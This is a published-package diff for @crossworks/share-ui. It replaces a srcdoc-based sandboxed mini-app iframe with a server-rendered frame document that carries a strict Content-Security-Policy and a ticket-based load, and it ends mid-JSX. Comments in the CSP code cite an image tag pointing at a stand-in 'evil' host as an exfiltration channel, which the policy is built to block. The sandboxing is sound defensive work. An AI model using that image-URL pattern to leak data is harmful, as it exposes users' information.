@crossworks/share-ui 0.230.43 → 0.230.59

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@crossworks/share-ui",
3
- "version": "0.230.43",
3
+ "version": "0.230.59",
4
4
  "description": "The server-rendered share surface — the /s/<token> presenters, view-payload contract, mini-app sandbox, and the few primitives they need. Lives in MANTLE (the server renders these), published for jackdaw to consume; may depend only on @mantle/{client-types,content-core} (the jackdaw-repo-split boundary).",
5
5
  "exports": {
6
6
  "./app-presenter": "./src/app-presenter.tsx",
@@ -14,6 +14,7 @@
14
14
  "./task-presenter": "./src/task-presenter.tsx",
15
15
  "./view-payload": "./src/view-payload.ts",
16
16
  "./app-sandbox": "./src/app-sandbox.tsx",
17
+ "./app-frame-html": "./src/app-frame-html.ts",
17
18
  "./app-bridge-protocol": "./src/app-bridge-protocol.ts",
18
19
  "./ui/button": "./src/ui/button.tsx",
19
20
  "./ui/input": "./src/ui/input.tsx",
@@ -30,6 +31,8 @@
30
31
  "./styles/app.css": "./styles/app.css"
31
32
  },
32
33
  "dependencies": {
34
+ "@mantle/client-types": "npm:@crossworks/client-types@0.230.59",
35
+ "@mantle/content-core": "npm:@crossworks/content-core@0.230.59",
33
36
  "@radix-ui/react-label": "^2.1.12",
34
37
  "@radix-ui/react-slot": "^1.3.0",
35
38
  "class-variance-authority": "^0.7.1",
@@ -40,9 +43,7 @@
40
43
  "remark-gfm": "^4.0.1",
41
44
  "tailwind-merge": "^3.5.0",
42
45
  "@dicebear/core": "^10.4.0",
43
- "@dicebear/styles": "^10.3.0",
44
- "@mantle/content-core": "npm:@crossworks/content-core@0.230.43",
45
- "@mantle/client-types": "npm:@crossworks/client-types@0.230.43"
46
+ "@dicebear/styles": "^10.3.0"
46
47
  },
47
48
  "peerDependencies": {
48
49
  "react": "^19.2.7",
@@ -0,0 +1,201 @@
1
+ /**
2
+ * The mini-app sandbox FRAME document — the HTML a sandboxed iframe navigates
3
+ * to (GET /api/apps/[id]/frame or /s/[token]/frame). Pure string building, no
4
+ * DOM: the SERVER renders this, which is the point of the design. The old
5
+ * client-built `srcdoc` approach assigned the document to an iframe already in
6
+ * the DOM, and that assignment could race the element's initial about:blank
7
+ * navigation and be silently dropped (the "Loading… forever" bug). A `src`
8
+ * navigation to this route cannot be lost, the CSP rides a response header
9
+ * instead of a <meta> tag, and the document is curl-able and cacheable.
10
+ *
11
+ * The iframe stays `sandbox="allow-scripts"` (opaque origin): the app gets no
12
+ * cookies, no storage, no parent DOM. Its only egress is the postMessage
13
+ * bridge to the parent AppSandbox, which brokers tool + sqlite calls
14
+ * server-side.
15
+ */
16
+
17
+ /** The strict sandbox CSP, served as a Content-Security-Policy HEADER on the
18
+ * frame response. The app may only render — NO network of its own.
19
+ * `connect-src 'none'` blocks fetch/XHR/WebSocket, and img/font loads are
20
+ * network too, so they're held to inline sources (data:/blob:) plus the HOST
21
+ * ORIGIN only — a wildcard would be an exfil channel
22
+ * (`<img src="https://evil/?d=…">`) despite connect-src 'none'. Same-origin
23
+ * images are deliberately allowed (Mantle is single-tenant; a request to our
24
+ * own server leaks nothing) so apps can show brain images and share
25
+ * attachments. The document's origin is OPAQUE (sandboxed), so CSP `'self'`
26
+ * is unreliable here — every source names the host origin explicitly:
27
+ * scripts only from `/app-runtime/` (the shared React/kit/host runtime the
28
+ * import map points at), styles/fonts only from `/share-runtime/` (the
29
+ * self-contained stylesheet the frame links) and `/fonts/` (owner font
30
+ * library). */
31
+ export function buildAppFrameCsp(origin: string): string {
32
+ return (
33
+ // `sandbox allow-scripts` is the load-bearing directive: it sandboxes the
34
+ // DOCUMENT itself (opaque origin, no cookies/storage), not just the iframe
35
+ // that embeds it. Without it, opening the frame URL directly in a tab —
36
+ // it IS a real URL now — would run AI-written app code on the true server
37
+ // origin. With it, the frame is opaque-origin no matter how it's reached;
38
+ // inside the AppSandbox iframe it composes with the identical attribute.
39
+ `sandbox allow-scripts; ` +
40
+ `default-src 'none'; style-src 'unsafe-inline' ${origin}/share-runtime/; ` +
41
+ `script-src 'unsafe-inline' ${origin}/app-runtime/; ` +
42
+ `img-src data: blob: ${origin}; ` +
43
+ `font-src data: ${origin}/share-runtime/ ${origin}/fonts/; ` +
44
+ "connect-src 'none'; base-uri 'none'; form-action 'none'"
45
+ );
46
+ }
47
+
48
+ // Host-injected "inspect mode" overlay. Lives in the iframe but is NOT part of
49
+ // the app bundle, so it works on every app with no rebuild and stays a host
50
+ // concern. When the parent posts {kind:'inspect',on:true}, hovering outlines the
51
+ // nearest [data-app-region] ancestor and clicking locks it (clicking the same
52
+ // one clears it). The locked region is posted back as {kind:'select'}; the
53
+ // parent feeds it to Appsmith as focusRegionIds. Esc exits. Pure DOM, defensive.
54
+ // It also applies parent-posted {kind:'theme'} updates so a live theme switch
55
+ // restyles a running app without a reload.
56
+ const INSPECTOR = `
57
+ (function(){
58
+ var on=false, locked=null, hovered=null, lbl=null;
59
+ function regionOf(el){
60
+ while(el && el.nodeType===1 && el!==document.body){
61
+ if(el.getAttribute && el.hasAttribute('data-app-region')) return el;
62
+ el=el.parentElement;
63
+ }
64
+ return null;
65
+ }
66
+ function q(id){ try{ return id ? document.querySelector('[data-app-region="'+(window.CSS&&CSS.escape?CSS.escape(id):id)+'"]') : null; }catch(e){ return null; } }
67
+ function label(){
68
+ if(!lbl){
69
+ lbl=document.createElement('div');
70
+ lbl.style.cssText='position:fixed;z-index:2147483647;pointer-events:none;display:none;font:500 11px/1.4 ui-sans-serif,system-ui,sans-serif;padding:2px 6px;border-radius:4px;background:var(--ring,#3b82f6);color:#fff;box-shadow:0 1px 4px rgba(0,0,0,.35);white-space:nowrap;';
71
+ document.body.appendChild(lbl);
72
+ }
73
+ return lbl;
74
+ }
75
+ function paintLocked(){
76
+ var prev=document.querySelectorAll('[data-app-locked]');
77
+ for(var i=0;i<prev.length;i++){ prev[i].removeAttribute('data-app-locked'); prev[i].style.outline=''; prev[i].style.outlineOffset=''; }
78
+ var el=q(locked);
79
+ if(el){ el.setAttribute('data-app-locked','1'); el.style.outline='2px solid var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
80
+ }
81
+ function clearHover(){
82
+ if(hovered && !hovered.hasAttribute('data-app-locked')){ hovered.style.outline=''; hovered.style.outlineOffset=''; }
83
+ hovered=null;
84
+ if(lbl) lbl.style.display='none';
85
+ }
86
+ function onMove(e){
87
+ if(!on) return;
88
+ var el=regionOf(e.target);
89
+ if(el===hovered) return;
90
+ clearHover();
91
+ if(!el) return;
92
+ hovered=el;
93
+ if(!el.hasAttribute('data-app-locked')){ el.style.outline='2px dashed var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
94
+ var r=el.getBoundingClientRect(), L=label();
95
+ L.textContent=el.getAttribute('data-app-region');
96
+ L.style.display='block';
97
+ L.style.left=Math.max(2,r.left)+'px';
98
+ L.style.top=Math.max(2,r.top-20)+'px';
99
+ }
100
+ function onClick(e){
101
+ if(!on) return;
102
+ var el=regionOf(e.target);
103
+ if(!el) return;
104
+ e.preventDefault(); e.stopPropagation(); if(e.stopImmediatePropagation) e.stopImmediatePropagation();
105
+ var id=el.getAttribute('data-app-region');
106
+ locked=(locked===id)?null:id;
107
+ clearHover(); paintLocked();
108
+ window.parent.postMessage({ v:1, kind:'select', regionId:locked, label:locked }, '*');
109
+ onMove(e);
110
+ }
111
+ function setOn(v){ on=v; document.body.style.cursor=v?'crosshair':''; if(!v) clearHover(); }
112
+ window.addEventListener('message', function(e){
113
+ if(e.source!==window.parent) return;
114
+ var m=e.data; if(!m||m.v!==1) return;
115
+ if(m.kind==='inspect'){ setOn(!!m.on); return; }
116
+ if(m.kind==='select'){ locked=m.regionId||null; clearHover(); paintLocked(); return; }
117
+ if(m.kind==='theme'){ var h=document.documentElement; h.className=m.cls||''; if(m.colorTheme){ h.setAttribute('data-color-theme', m.colorTheme); } else { h.removeAttribute('data-color-theme'); } return; }
118
+ });
119
+ document.addEventListener('mousemove', onMove, true);
120
+ document.addEventListener('click', onClick, true);
121
+ document.addEventListener('keydown', function(e){ if(on && e.key==='Escape'){ setOn(false); window.parent.postMessage({v:1,kind:'inspect',on:false},'*'); } });
122
+ })();
123
+ `;
124
+
125
+ /** HTML-attribute escape for the theme values baked into the <html> tag —
126
+ * they arrive as query params, so they are untrusted for MARKUP purposes
127
+ * even though a wrong theme is harmless. */
128
+ function attr(v: string): string {
129
+ return v.replace(/&/g, '&amp;').replace(/"/g, '&quot;').replace(/</g, '&lt;');
130
+ }
131
+
132
+ export function buildAppFrameHtml(opts: {
133
+ /** The app's built module bundle (esbuild output; esbuild escapes any
134
+ * `</script` inside string literals, so inlining it is safe). */
135
+ bundleCode: string;
136
+ /** Per-app compiled Tailwind utilities ('' when the build predates CSS). */
137
+ appCss: string;
138
+ /** The shared-runtime import map JSON (specifier → hashed /app-runtime URL). */
139
+ importMapJson: string;
140
+ /** Theme parity, baked at mint time: the host page's <html> class and
141
+ * data-color-theme. Live changes arrive via the postMessage theme sync. */
142
+ cls: string;
143
+ colorTheme: string | null;
144
+ /** Viewport frame (iframe IS the viewport) vs card frame (auto-sized). */
145
+ viewport: boolean;
146
+ }): string {
147
+ const colorThemeAttr = opts.colorTheme ? ` data-color-theme="${attr(opts.colorTheme)}"` : '';
148
+ return `<!doctype html>
149
+ <html class="${attr(opts.cls)}"${colorThemeAttr}>
150
+ <head>
151
+ <meta charset="utf-8" />
152
+ <script type="importmap">${opts.importMapJson}</script>
153
+ <link rel="stylesheet" href="/share-runtime/styles.css" />
154
+ <link rel="stylesheet" href="/share-runtime/katex/katex.min.css" />
155
+ <style>${
156
+ /* Per-app compiled utilities — classes the app's own source uses that
157
+ the shared sheet never scanned. After the shared styles so its @layer order
158
+ is already established. The `</` guard keeps CSS content (arbitrary values
159
+ can hold strings) from closing the tag; the app already runs its own JS in
160
+ this iframe, so this is markup hygiene, not a security boundary. */
161
+ opts.appCss.replace(/<\//g, '<\\/')
162
+ }</style>
163
+ <style>/* Paint the iframe canvas with the theme background, NOT transparent: a
164
+ sandboxed (opaque-origin) iframe renders WHITE where it's transparent, so any
165
+ gap between the app content and the iframe height showed a white strip. With
166
+ the themed background, any such gap is invisible (matches the app + host). */
167
+ html,body{margin:0;background:var(--background)}#root{padding:0}
168
+ /* Themed scrollbars for the WHOLE app. The host only styles scrollbars behind an
169
+ opt-in .scrollbar-thin class, so an app's own scroll containers otherwise fall
170
+ back to the default wide OS scrollbar with a white/grey track that clashes with
171
+ the theme. Apply the thin, theme-token look to every scroller inside the iframe
172
+ (scoped here, so the host is untouched). Vars resolve from the linked theme. */
173
+ *{scrollbar-width:thin;scrollbar-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent) transparent}
174
+ ::-webkit-scrollbar{width:10px;height:10px}
175
+ ::-webkit-scrollbar-track{background:transparent}
176
+ ::-webkit-scrollbar-thumb{background-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent);border-radius:6px;border:2px solid transparent;background-clip:padding-box}
177
+ ::-webkit-scrollbar-thumb:hover{background-color:color-mix(in oklab,var(--muted-foreground) 50%,transparent);background-clip:padding-box}
178
+ ::-webkit-scrollbar-corner{background:transparent}
179
+ ${
180
+ opts.viewport
181
+ ? `/* Viewport frame: the iframe IS the viewport, so viewport-height utilities
182
+ are real and the app owns its own layout + scrolling. Full-height plumbing
183
+ so h-full works from the root down. */
184
+ html,body,#root{height:100%}
185
+ body{overflow:auto}`
186
+ : `/* Card frame: the app is embedded in an auto-sized iframe with no real
187
+ viewport, so viewport-height utilities would inflate it into a tall,
188
+ mostly-empty box (a small app leaves a big blank area below). Collapse them
189
+ to content height — the iframe then hugs the actual content. Belt-and-braces
190
+ with the authoring rule that tells Appsmith not to use these. */
191
+ .min-h-screen,.min-h-dvh,.min-h-svh,.min-h-lvh{min-height:0!important}
192
+ .h-screen,.h-dvh,.h-svh,.h-lvh{height:auto!important}`
193
+ }</style>
194
+ </head>
195
+ <body class="bg-background text-foreground">
196
+ <div id="root"></div>
197
+ <script type="module">${opts.bundleCode}</script>
198
+ <script>${INSPECTOR}</script>
199
+ </body>
200
+ </html>`;
201
+ }
@@ -1,15 +1,24 @@
1
1
  'use client';
2
2
 
3
3
  /**
4
- * Runs a built mini app inside a sandboxed iframe. The app's bundle is fetched
5
- * (authenticated, same-origin) and INLINED into the iframe's srcdoc, so the
6
- * iframe runs with an opaque origin (sandbox="allow-scripts", NO
7
- * allow-same-origin) — it can't read host cookies/DOM/storage. Its only channel
8
- * is postMessage to this parent, which brokers tool + sqlite calls server-side.
4
+ * Runs a built mini app inside a sandboxed iframe. The iframe NAVIGATES to a
5
+ * server-rendered frame document (`${apiBase}/frame`) instead of receiving an
6
+ * inlined srcdoc — a real `src` navigation cannot be dropped the way a late
7
+ * `.srcdoc` assignment could, the sandbox CSP rides a response header, and the
8
+ * document is curl-able (see app-frame-html.ts, which builds it).
9
9
  *
10
- * Theme parity: we inline the parent's already-compiled CSS and copy the active
11
- * theme attrs (class + data-color-theme) onto the iframe <html>, so the app
12
- * matches the product look (incl. dark mode + colour theme) with no network.
10
+ * The navigation itself can carry no credential (the sandboxed iframe has an
11
+ * opaque origin ⇒ no cookies; an iframe src can't attach a bearer), so this
12
+ * parent — which CAN authenticate — first mints a seconds-lived signed ticket
13
+ * from `${apiBase}/frame-ticket` and passes it in the frame URL (`?t=`).
14
+ *
15
+ * The iframe stays sandbox="allow-scripts" (NO allow-same-origin) — it can't
16
+ * read host cookies/DOM/storage. Its only channel is postMessage to this
17
+ * parent, which brokers tool + sqlite calls server-side.
18
+ *
19
+ * Theme parity: the active theme attrs (class + data-color-theme) ride the
20
+ * frame URL and are baked into the document's <html>; later host theme
21
+ * changes are pushed into the running app via the postMessage theme sync.
13
22
  */
14
23
  import { useCallback, useEffect, useRef, useState } from 'react';
15
24
  import {
@@ -22,220 +31,6 @@ import {
22
31
 
23
32
  type Status = 'loading' | 'ready' | 'nobuild' | 'error';
24
33
 
25
- /** Serialize every same-origin stylesheet the host has loaded (Tailwind output
26
- * + theme vars). Cross-origin sheets throw on .cssRules — skipped. Cached: the
27
- * app's CSS doesn't change within a session. */
28
- /** The shared-runtime import map (specifier → hashed `/app-runtime` URL),
29
- * fetched once per session. The app's bundle imports react/react-dom/the kit/
30
- * @host as BARE specifiers (the bundler marks them external); this map — injected
31
- * into the srcdoc — resolves them to the ONE shared runtime, so the browser
32
- * fetches + parses React once across every app + reload instead of each app
33
- * re-bundling it. manifest.json is public + same-origin (see middleware). */
34
- let importMapPromise: Promise<string> | null = null;
35
- function loadImportMap(): Promise<string> {
36
- if (!importMapPromise) {
37
- importMapPromise = fetch('/app-runtime/manifest.json')
38
- .then((r) => {
39
- if (!r.ok) throw new Error(`app-runtime manifest ${r.status}`);
40
- return r.json() as Promise<{ imports: Record<string, string> }>;
41
- })
42
- .then((m) => JSON.stringify({ imports: m.imports }))
43
- .catch((e) => {
44
- importMapPromise = null; // let the next mount retry
45
- throw e;
46
- });
47
- }
48
- return importMapPromise;
49
- }
50
-
51
- let cssCache: string | null = null;
52
- function captureHostCss(): string {
53
- if (cssCache !== null) return cssCache;
54
- let out = '';
55
- for (const sheet of Array.from(document.styleSheets)) {
56
- try {
57
- for (const rule of Array.from(sheet.cssRules)) out += rule.cssText + '\n';
58
- } catch {
59
- /* cross-origin sheet — skip */
60
- }
61
- }
62
- cssCache = out;
63
- return out;
64
- }
65
-
66
- /** The host stylesheet markup to drop into the iframe <head>. We LINK the same
67
- * stylesheet files the host already loaded (so the browser reuses its cached,
68
- * already-parsed copy instead of re-parsing ~400 KB of inlined CSS per srcdoc)
69
- * and inline only the small dynamic <style> tags (theme vars next-themes
70
- * injects, etc.). Falls back to a full inline capture when the host exposes no
71
- * <link> stylesheets (e.g. some dev setups inline everything). */
72
- function hostStyleMarkup(): string {
73
- const links = Array.from(document.querySelectorAll<HTMLLinkElement>('link[rel="stylesheet"]'))
74
- .map((l) => l.href)
75
- .filter(Boolean);
76
- if (links.length === 0) return `<style>${captureHostCss()}</style>`;
77
- const inline = Array.from(document.querySelectorAll('style'))
78
- .map((s) => s.textContent || '')
79
- .join('\n');
80
- const linkTags = links.map((href) => `<link rel="stylesheet" href="${href}" />`).join('\n');
81
- return `${linkTags}\n<style>${inline}</style>`;
82
- }
83
-
84
- // Host-injected "inspect mode" overlay. Lives in the iframe but is NOT part of
85
- // the app bundle, so it works on every app with no rebuild and stays a host
86
- // concern. When the parent posts {kind:'inspect',on:true}, hovering outlines the
87
- // nearest [data-app-region] ancestor and clicking locks it (clicking the same
88
- // one clears it). The locked region is posted back as {kind:'select'}; the
89
- // parent feeds it to Appsmith as focusRegionIds. Esc exits. Pure DOM, defensive.
90
- const INSPECTOR = `
91
- (function(){
92
- var on=false, locked=null, hovered=null, lbl=null;
93
- function regionOf(el){
94
- while(el && el.nodeType===1 && el!==document.body){
95
- if(el.getAttribute && el.hasAttribute('data-app-region')) return el;
96
- el=el.parentElement;
97
- }
98
- return null;
99
- }
100
- function q(id){ try{ return id ? document.querySelector('[data-app-region="'+(window.CSS&&CSS.escape?CSS.escape(id):id)+'"]') : null; }catch(e){ return null; } }
101
- function label(){
102
- if(!lbl){
103
- lbl=document.createElement('div');
104
- lbl.style.cssText='position:fixed;z-index:2147483647;pointer-events:none;display:none;font:500 11px/1.4 ui-sans-serif,system-ui,sans-serif;padding:2px 6px;border-radius:4px;background:var(--ring,#3b82f6);color:#fff;box-shadow:0 1px 4px rgba(0,0,0,.35);white-space:nowrap;';
105
- document.body.appendChild(lbl);
106
- }
107
- return lbl;
108
- }
109
- function paintLocked(){
110
- var prev=document.querySelectorAll('[data-app-locked]');
111
- for(var i=0;i<prev.length;i++){ prev[i].removeAttribute('data-app-locked'); prev[i].style.outline=''; prev[i].style.outlineOffset=''; }
112
- var el=q(locked);
113
- if(el){ el.setAttribute('data-app-locked','1'); el.style.outline='2px solid var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
114
- }
115
- function clearHover(){
116
- if(hovered && !hovered.hasAttribute('data-app-locked')){ hovered.style.outline=''; hovered.style.outlineOffset=''; }
117
- hovered=null;
118
- if(lbl) lbl.style.display='none';
119
- }
120
- function onMove(e){
121
- if(!on) return;
122
- var el=regionOf(e.target);
123
- if(el===hovered) return;
124
- clearHover();
125
- if(!el) return;
126
- hovered=el;
127
- if(!el.hasAttribute('data-app-locked')){ el.style.outline='2px dashed var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
128
- var r=el.getBoundingClientRect(), L=label();
129
- L.textContent=el.getAttribute('data-app-region');
130
- L.style.display='block';
131
- L.style.left=Math.max(2,r.left)+'px';
132
- L.style.top=Math.max(2,r.top-20)+'px';
133
- }
134
- function onClick(e){
135
- if(!on) return;
136
- var el=regionOf(e.target);
137
- if(!el) return;
138
- e.preventDefault(); e.stopPropagation(); if(e.stopImmediatePropagation) e.stopImmediatePropagation();
139
- var id=el.getAttribute('data-app-region');
140
- locked=(locked===id)?null:id;
141
- clearHover(); paintLocked();
142
- window.parent.postMessage({ v:1, kind:'select', regionId:locked, label:locked }, '*');
143
- onMove(e);
144
- }
145
- function setOn(v){ on=v; document.body.style.cursor=v?'crosshair':''; if(!v) clearHover(); }
146
- window.addEventListener('message', function(e){
147
- if(e.source!==window.parent) return;
148
- var m=e.data; if(!m||m.v!==1) return;
149
- if(m.kind==='inspect'){ setOn(!!m.on); return; }
150
- if(m.kind==='select'){ locked=m.regionId||null; clearHover(); paintLocked(); return; }
151
- if(m.kind==='theme'){ var h=document.documentElement; h.className=m.cls||''; if(m.colorTheme){ h.setAttribute('data-color-theme', m.colorTheme); } else { h.removeAttribute('data-color-theme'); } return; }
152
- });
153
- document.addEventListener('mousemove', onMove, true);
154
- document.addEventListener('click', onClick, true);
155
- document.addEventListener('keydown', function(e){ if(on && e.key==='Escape'){ setOn(false); window.parent.postMessage({v:1,kind:'inspect',on:false},'*'); } });
156
- })();
157
- `;
158
-
159
- function buildSrcDoc(bundleCode: string, importMapJson: string, viewport: boolean): string {
160
- const html = document.documentElement;
161
- const cls = html.className || '';
162
- const colorTheme = html.dataset.colorTheme
163
- ? ` data-color-theme="${html.dataset.colorTheme}"`
164
- : '';
165
- const styleMarkup = hostStyleMarkup();
166
- // CSP: the app may only render — NO network of its own. `connect-src 'none'`
167
- // blocks fetch/XHR/WebSocket, but img/font loads are network too, so they're
168
- // held to inline sources only (data:/blob:) — a wildcard there would be an
169
- // exfil channel (`<img src="https://evil/?d=…">`) despite connect-src 'none'.
170
- // The app's only egress is the postMessage bridge to the parent, which
171
- // brokers tool + sqlite calls server-side. Inline style + script are ours.
172
- //
173
- // The iframe has an opaque origin, so CSP `'self'` matches NOTHING here; we
174
- // name the host origin + path explicitly, scoped tight so neither is a general
175
- // egress channel: `script-src` allows ONLY `<origin>/app-runtime/` (the shared
176
- // React/kit/host runtime the import map points at); `style-src` allows ONLY
177
- // `<origin>/_next/` (the host's compiled stylesheet, linked not inlined).
178
- //
179
- // `font-src` MIRRORS `style-src`, and must keep mirroring it. Allowing the
180
- // stylesheet while refusing the faces it declares is self-defeating: the host
181
- // sheet carries KaTeX's `@font-face` rules (katex.min.css is imported by the
182
- // client layout), whose URLs resolve to `<origin>/_next/static/media/…`. With
183
- // `font-src data:` alone every mini-app logged a CSP violation on load and any
184
- // app rendering maths fell back to system fonts. This widens nothing: it
185
- // permits fonts from exactly the path already trusted for styles.
186
- const origin = location.origin;
187
- const csp =
188
- `default-src 'none'; style-src 'unsafe-inline' ${origin}/_next/; ` +
189
- `script-src 'unsafe-inline' ${origin}/app-runtime/; ` +
190
- `img-src data: blob:; font-src data: ${origin}/_next/; ` +
191
- "connect-src 'none'; base-uri 'none'; form-action 'none'";
192
- return `<!doctype html>
193
- <html class="${cls}"${colorTheme}>
194
- <head>
195
- <meta charset="utf-8" />
196
- <meta http-equiv="Content-Security-Policy" content="${csp}" />
197
- <script type="importmap">${importMapJson}</script>
198
- ${styleMarkup}
199
- <style>/* Paint the iframe canvas with the theme background, NOT transparent: a
200
- sandboxed (opaque-origin) iframe renders WHITE where it's transparent, so any
201
- gap between the app content and the iframe height showed a white strip. With
202
- the themed background, any such gap is invisible (matches the app + host). */
203
- html,body{margin:0;background:var(--background)}#root{padding:0}
204
- /* Themed scrollbars for the WHOLE app. The host only styles scrollbars behind an
205
- opt-in .scrollbar-thin class, so an app's own scroll containers otherwise fall
206
- back to the default wide OS scrollbar with a white/grey track that clashes with
207
- the theme. Apply the thin, theme-token look to every scroller inside the iframe
208
- (scoped here, so the host is untouched). Vars resolve from the inlined theme. */
209
- *{scrollbar-width:thin;scrollbar-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent) transparent}
210
- ::-webkit-scrollbar{width:10px;height:10px}
211
- ::-webkit-scrollbar-track{background:transparent}
212
- ::-webkit-scrollbar-thumb{background-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent);border-radius:6px;border:2px solid transparent;background-clip:padding-box}
213
- ::-webkit-scrollbar-thumb:hover{background-color:color-mix(in oklab,var(--muted-foreground) 50%,transparent);background-clip:padding-box}
214
- ::-webkit-scrollbar-corner{background:transparent}
215
- ${
216
- viewport
217
- ? `/* Viewport frame: the iframe IS the viewport, so viewport-height utilities
218
- are real and the app owns its own layout + scrolling. Full-height plumbing
219
- so h-full works from the root down. */
220
- html,body,#root{height:100%}
221
- body{overflow:auto}`
222
- : `/* Card frame: the app is embedded in an auto-sized iframe with no real
223
- viewport, so viewport-height utilities would inflate it into a tall,
224
- mostly-empty box (a small app leaves a big blank area below). Collapse them
225
- to content height — the iframe then hugs the actual content. Belt-and-braces
226
- with the authoring rule that tells Appsmith not to use these. */
227
- .min-h-screen,.min-h-dvh,.min-h-svh,.min-h-lvh{min-height:0!important}
228
- .h-screen,.h-dvh,.h-svh,.h-lvh{height:auto!important}`
229
- }</style>
230
- </head>
231
- <body class="bg-background text-foreground">
232
- <div id="root"></div>
233
- <script type="module">${bundleCode}</script>
234
- <script>${INSPECTOR}</script>
235
- </body>
236
- </html>`;
237
- }
238
-
239
34
  export function AppSandbox({
240
35
  appId,
241
36
  shareToken,
@@ -306,6 +101,16 @@ export function AppSandbox({
306
101
  const iframeRef = useRef<HTMLIFrameElement>(null);
307
102
  const [status, setStatus] = useState<Status>('loading');
308
103
  const [height, setHeight] = useState(320);
104
+ // The frame URL (ticket included), held in state so the iframe is RENDERED
105
+ // with its src (keyed per attempt) — the element is created carrying the
106
+ // navigation, which cannot be dropped the way a late srcdoc write could.
107
+ const [frameSrc, setFrameSrc] = useState<{ url: string; gen: number } | null>(null);
108
+ const genRef = useRef(0);
109
+ // Watchdog retry counter: bumping it re-runs the ticket effect (a fresh
110
+ // ticket AND a fresh iframe — the old ticket may have expired by then).
111
+ const [attempt, setAttempt] = useState(0);
112
+ // One automatic retry before giving up (see the ready watchdog below).
113
+ const retriedRef = useRef(false);
309
114
  // Whether THIS bundle load ever reached ready — distinguishes a boot crash
310
115
  // (error before ready ⇒ load failure) from a runtime error after boot.
311
116
  const everReadyRef = useRef(false);
@@ -343,8 +148,8 @@ export function AppSandbox({
343
148
 
344
149
  // Mirror the host's live theme (the <html> class + data-color-theme) into the
345
150
  // iframe so a dark/light or colour-theme switch restyles a RUNNING app without
346
- // a reload — the srcdoc only baked in the theme as of mount. Sync once on ready
347
- // (covers a change between srcdoc build and mount), then on every host change.
151
+ // a reload — the frame document only baked in the theme as of mint. Sync once
152
+ // on ready (covers a change between mint and mount), then on every host change.
348
153
  useEffect(() => {
349
154
  if (status !== 'ready') return;
350
155
  const send = () => {
@@ -461,24 +266,43 @@ export function AppSandbox({
461
266
  return () => window.removeEventListener('message', onMessage);
462
267
  }, [handleRequest, frame]);
463
268
 
464
- // Ready watchdog: a bundle that FETCHES fine but never boots (module-level
269
+ // Ready watchdog: a frame that NAVIGATES fine but never boots (module-level
465
270
  // throw, an import-map chunk failing inside the opaque iframe) leaves status
466
271
  // on 'loading' forever — the fetch error paths below never see it. Give the
467
- // app a generous window to post `ready`, then report a load failure so a
468
- // hub-surface parent can fall back instead of pinning members on a spinner.
272
+ // app a generous window to post `ready`, then retry once with a fresh
273
+ // ticket + iframe, and if that also times out surface the error state + report
274
+ // a load failure so a hub-surface parent can fall back instead of pinning
275
+ // members on a spinner.
469
276
  useEffect(() => {
470
- if (status !== 'loading') return;
471
- const t = setTimeout(() => cbRef.current.onLoadFailure?.(), 10_000);
277
+ if (status !== 'loading' || frameSrc === null) return;
278
+ const t = setTimeout(() => {
279
+ if (!retriedRef.current) {
280
+ retriedRef.current = true;
281
+ setAttempt((a) => a + 1);
282
+ return;
283
+ }
284
+ setStatus('error');
285
+ cbRef.current.onError?.('the app never signalled ready');
286
+ cbRef.current.onLoadFailure?.();
287
+ }, 10_000);
472
288
  return () => clearTimeout(t);
473
- }, [status, reloadKey, apiBase]);
289
+ }, [status, frameSrc]);
290
+
291
+ // A NEW load target (not a watchdog retry) gets its retry budget back.
292
+ useEffect(() => {
293
+ retriedRef.current = false;
294
+ }, [apiBase, reloadKey, frame]);
474
295
 
475
- // Fetch the bundle and (re)render into the iframe.
296
+ // Mint a frame ticket and point the iframe at the frame route. The ticket
297
+ // request is what authenticates (cookie or the split client's bearer via
298
+ // `fetcher`); the frame navigation itself carries only the signed ticket.
476
299
  useEffect(() => {
477
300
  let cancelled = false;
478
301
  setStatus('loading');
302
+ setFrameSrc(null);
479
303
  everReadyRef.current = false;
480
- Promise.all([doFetch(`${apiBase}/bundle`), loadImportMap()])
481
- .then(async ([r, importMap]) => {
304
+ doFetch(`${apiBase}/frame-ticket`, { method: 'POST' })
305
+ .then(async (r) => {
482
306
  if (cancelled) return;
483
307
  if (r.status === 404) {
484
308
  setStatus('nobuild');
@@ -487,13 +311,19 @@ export function AppSandbox({
487
311
  }
488
312
  if (!r.ok) {
489
313
  setStatus('error');
490
- cbRef.current.onError?.(`bundle load failed (${r.status})`);
314
+ cbRef.current.onError?.(`app frame ticket failed (${r.status})`);
491
315
  cbRef.current.onLoadFailure?.();
492
316
  return;
493
317
  }
494
- const code = await r.text();
495
- if (cancelled || !iframeRef.current) return;
496
- iframeRef.current.srcdoc = buildSrcDoc(code, importMap, frame === 'viewport');
318
+ const { ticket } = (await r.json()) as { ticket: string };
319
+ if (cancelled) return;
320
+ // Theme parity at mint time; live changes ride the postMessage sync.
321
+ const h = document.documentElement;
322
+ const q = new URLSearchParams({ t: ticket });
323
+ if (h.className) q.set('cls', h.className);
324
+ if (h.dataset.colorTheme) q.set('ct', h.dataset.colorTheme);
325
+ if (frame === 'viewport') q.set('vp', '1');
326
+ setFrameSrc({ url: `${apiBase}/frame?${q.toString()}`, gen: ++genRef.current });
497
327
  })
498
328
  .catch((err) => {
499
329
  if (cancelled) return;
@@ -504,7 +334,7 @@ export function AppSandbox({
504
334
  return () => {
505
335
  cancelled = true;
506
336
  };
507
- }, [apiBase, reloadKey, frame, doFetch]);
337
+ }, [apiBase, reloadKey, frame, doFetch, attempt]);
508
338
 
509
339
  const isViewport = frame === 'viewport';
510
340
  return (
@@ -531,15 +361,19 @@ export function AppSandbox({
531
361
  {isViewport ? 'Couldn’t load the app.' : 'Couldn’t load the app preview.'}
532
362
  </div>
533
363
  )}
534
- <iframe
535
- ref={iframeRef}
536
- title={isViewport ? 'App' : 'App preview'}
537
- sandbox="allow-scripts"
538
- className={
539
- status === 'ready' ? (isViewport ? 'block h-full w-full' : 'block w-full') : 'hidden'
540
- }
541
- style={isViewport ? { border: '0' } : { height, border: '0', width: '100%' }}
542
- />
364
+ {frameSrc !== null && (
365
